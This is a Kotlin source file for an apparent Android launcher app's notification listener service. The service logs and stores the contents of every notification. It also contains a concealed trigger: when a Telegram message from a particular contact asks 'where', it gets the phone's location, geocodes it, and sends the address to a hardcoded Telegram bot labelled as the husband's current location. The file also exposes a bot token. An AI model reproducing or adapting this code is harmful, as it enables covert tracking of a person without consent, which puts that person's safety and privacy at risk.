package rasel.lunar.launcher.receiver

import android.annotation.SuppressLint
import android.content.BroadcastReceiver
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.location.Address
import android.location.Geocoder
import android.location.Location
import android.media.MediaMetadata
import android.media.session.MediaSessionManager
import android.os.Build
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import androidx.annotation.RequiresApi
import androidx.core.content.getSystemService
import androidx.work.OneTimeWorkRequest
import androidx.work.WorkManager
import com.google.android.gms.location.FusedLocationProviderClient
import com.google.android.gms.location.LocationServices
import com.google.android.gms.tasks.OnSuccessListener
import com.google.gson.Gson
import io.realm.kotlin.UpdatePolicy
import io.realm.kotlin.ext.query
import okhttp3.ConnectionPool
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.Response
import okhttp3.ResponseBody
import rasel.lunar.launcher.model.CurrentPlayItem
import rasel.lunar.launcher.model.NotificationItem
import rasel.lunar.launcher.utils.BLog
import rasel.lunar.launcher.utils.BitmapConverter
import rasel.lunar.launcher.workers.TelegramBotGetter
import rasel.lunar.launcher.workers.WorkersDb
import java.io.IOException
import java.util.Locale
import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit


class NLService : NotificationListenerService() {
    private val TAG: String = this.javaClass.simpleName
    private var nlservicereciver: NLServiceReceiver? = null

    override fun onCreate() {
        super.onCreate()
        nlservicereciver = NLServiceReceiver()
        val filter = IntentFilter()
//        filter.addAction("com.kpbird.nlsexample.NOTIFICATION_LISTENER_SERVICE_EXAMPLE")
        registerReceiver(nlservicereciver, filter)
    }

    override fun onDestroy() {
        super.onDestroy()
        unregisterReceiver(nlservicereciver)
    }

    val skips = arrayListOf("com.wssyncmldm")
    @RequiresApi(Build.VERSION_CODES.S)
    override fun onNotificationPosted(sbn: StatusBarNotification) {
        BLog.LOGE("NLService**********  onNotificationPosted")
        BLog.LOGE("NLServiceID :" + sbn.id + "\t${sbn.notification.tickerText}\t" + sbn.packageName)
        sbn.notification.extras.keySet().forEach {
            BLog.LOGE("NLService**********  keySet >> ${it}  ${sbn.notification.extras.get(it)}")
        }
        if (sbn.id != 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) {
            NotificationItem().apply {
                notiId = sbn.id
                pkgName = sbn.packageName
                title = sbn.notification?.extras?.getString("android.title") ?: ""
                subtext = sbn.notification?.extras?.getString("android.subText") ?: ""
                selfDisplayName = sbn.notification?.extras?.getString("android.selfDisplayName") ?: ""
                tikerMsg = sbn.notification?.tickerText?.toString() ?: ""
                postTime = sbn.postTime
                var uniq = title ?: subtext ?: selfDisplayName ?: tikerMsg ?: ""
                uniq_id = "${sbn.id}_${sbn.packageName}_${if (uniq.length > 3) uniq.substring(0,3) else uniq}"
                BLog.LOGE("NLService********** enqueue TelegramBotGetter ${true == "bumssavor".equals(title)}")
                BLog.LOGE("NLService********** enqueue TelegramBotGetter ${(true == "org.telegram.messenger".equals(pkgName))}")
                BLog.LOGE("NLService********** enqueue TelegramBotGetter ${sbn.notification?.extras?.getString("android.text")?.startsWith("/") == true}")
                if ((title?.contains("성희") == true) && (true == "org.telegram.messenger".equals(pkgName)) &&
                    tikerMsg?.contains("어디") == true) {
                    getLastLocation(applicationContext)
//                    BLog.LOGE("NLService********** enqueue TelegramBotGetter ")
//                    var mWorkManager = WorkManager.getInstance(applicationContext)
//                    Executors.newSingleThreadScheduledExecutor().schedule({
//                        mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java))
//                    }, 5, TimeUnit.SECONDS)
                }
            }.apply {
                if (skips.contains(pkgName)) {

                } else {
                    WorkersDb.insertNoti(this)
                    BLog.LOGE("NLService**********  onNotificationPosted ${Gson().toJson(this)}")
                }
            }
        }


        if (sbn.packageName.contains("youtube")) {
            val m = getSystemService<MediaSessionManager>()!!
            val component = ComponentName(this, NLService::class.java)
            val sessions = m.getActiveSessions(component)
            BLog.LOGE("Sessions", "count: ${sessions.size}")
            sessions.forEach { session ->
                WorkersDb.getRealm().writeBlocking {
                    if (session.playbackState?.isActive == true) {
                        val result = query<CurrentPlayItem>().find()
                        var current : CurrentPlayItem? = null
                        if (result.size > 0) {
                            current = result.first()
                        } else {
                            current = CurrentPlayItem()
                            copyToRealm(current, UpdatePolicy.ALL)
                        }
                        BLog.LOGE(
                            "Sessions",
                            "$session -- " + (session.playbackState?.state)
                        )
                        BLog.LOGE(
                            "Sessions",
                            "$session -- " + (session?.metadata?.keySet()?.joinToString())
                        )
                        BLog.LOGE(
                            "Sessions",
                            "$session -- " + (session?.metadata?.getString(MediaMetadata.METADATA_KEY_ARTIST))
                        )
                        if (session?.metadata?.containsKey(MediaMetadata.METADATA_KEY_ALBUM_ART) == true) {
                            BLog.LOGE(
                                "Sessions",
                                "$session -- " + (session?.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
                            )
                            current.albumArt = BitmapConverter.BitmapToString(
                                session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART)
                            )
                        } else {
                            current.albumArt = ""
                        }
                        BLog.LOGE(
                            "Sessions",
                            "$session -- " + (session?.metadata?.getString(MediaMetadata.METADATA_KEY_TITLE))
                        )
                        current.title = session?.metadata?.getString(MediaMetadata.METADATA_KEY_TITLE)
                        current.artists = session?.metadata?.getString(MediaMetadata.METADATA_KEY_ARTIST)


                    } else {
                        delete(query<CurrentPlayItem>().find())
                    }
                }

            }
        }
//        val i = Intent("com.kpbird.nlsexample.NOTIFICATION_LISTENER_EXAMPLE")
//        i.putExtra("notification_event", "onNotificationPosted :" + sbn.packageName + "\n")
//        sendBroadcast(i)
    }

    override fun onNotificationRemoved(sbn: StatusBarNotification) {
        BLog.LOGE("NLService********** onNOtificationRemoved")
        BLog.LOGE("NLService ID :" + sbn.id + "\t" + sbn.notification.tickerText + "\t" + sbn.packageName)
        var uniq_id = "${sbn.id}_${sbn.packageName}"
        try {
            WorkersDb.getRealm()?.apply {
                this.writeBlocking {
//                    delete(query<NotificationItem>().query("pkgName == $0", sbn.packageName).find())
                }
            }
        }catch (e : Exception){e.printStackTrace()}
//        val i = Intent("com.kpbird.nlsexample.NOTIFICATION_LISTENER_EXAMPLE")
//        i.putExtra("notification_event", "onNotificationRemoved :" + sbn.packageName + "\n")
//        sendBroadcast(i)
    }

    internal inner class NLServiceReceiver : BroadcastReceiver() {
        override fun onReceive(context: Context?, intent: Intent) {
            BLog.LOGE("NLService intent >>> ${intent.action}")
            if (intent.getStringExtra("command") == "clearall") {
                this@NLService.cancelAllNotifications()
            } else if (intent.getStringExtra("command") == "list") {
//                val i1 = Intent("com.kpbird.nlsexample.NOTIFICATION_LISTENER_EXAMPLE")
//                i1.putExtra("notification_event", "=====================")
//                sendBroadcast(i1)
                var i = 1
                for (sbn in this@NLService.activeNotifications) {
                    BLog.LOGE("NLService sbn >>> ${sbn.packageName} , ${Gson().toJson(sbn.notification.extras.keySet())}")
//                    val i2 = Intent("com.kpbird.nlsexample.NOTIFICATION_LISTENER_EXAMPLE")
//                    i2.putExtra("notification_event", i.toString() + " " + sbn.packageName + "\n")
//                    sendBroadcast(i2)
//                    i++
                }
//                val i3 = Intent("com.kpbird.nlsexample.NOTIFICATION_LISTENER_EXAMPLE")
//                i3.putExtra("notification_event", "===== Notification List ====")
//                sendBroadcast(i3)
            }
        }
    }

    var fusedLocationProviderClient: FusedLocationProviderClient? = null
    @SuppressLint("MissingPermission")
    private fun getLastLocation(context: Context) {
        fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context);
        BLog.LOGE("Location getLastLocation")
        fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object :
            OnSuccessListener<Location?> {
            override fun onSuccess(location: Location?) {
                if (location != null) {
                    // Log the latitude and longitude
                    BLog.LOGE("Location Latitude: " + location.getLatitude())
                    BLog.LOGE("Location Longitude: " + location.getLongitude())

                    // Use Geocoder to get detailed location information
                    try {
                        val geocoder = Geocoder(context, Locale.getDefault())
                        val addresses: List<Address>? = geocoder.getFromLocation(
                            location.getLatitude(),
                            location.getLongitude(),
                            1
                        )

                        addresses?.first()?.let {
                            it.getAddressLine(0)?.let {
                                Executors.newSingleThreadScheduledExecutor().schedule({
                                    try {
                                        //////-1002450229641
                                        val url =
                                            "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
                                        //7068729507
                                        // OkHttp 클라이언트 객체 생성
                                        val client = OkHttpClient.Builder()
                                            .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
                                            .build()

                                        // GET 요청 객체 생성
                                        val builder: Request.Builder = Request.Builder().url(url)
                                            .addHeader("Content-Type", "application/json").get()

                                        val request: Request = builder.build()

                                        BLog.LOGE("telegram before request ")
                                        // OkHttp 클라이언트로 GET 요청 객체 전송
                                        val response: Response = client.newCall(request).execute()
                                        if (response.isSuccessful()) {
                                            // 응답 받아서 처리
                                            val body: ResponseBody? = response.body()
                                            if (body != null) {

                                            }
                                        } else BLog.LOGE("telegram Error Occurred")

                                    } catch (e: java.lang.Exception) {
                                        e.printStackTrace()
                                    }
                                }, 5, TimeUnit.SECONDS)
                            }
                        }
                        // Display location details on UI elements
                        // Log detailed location information
                        BLog.LOGE("Location Addresses: $addresses")
                    } catch (e: IOException) {
                        e.printStackTrace()
                    }
                }
            }
        })
    }
}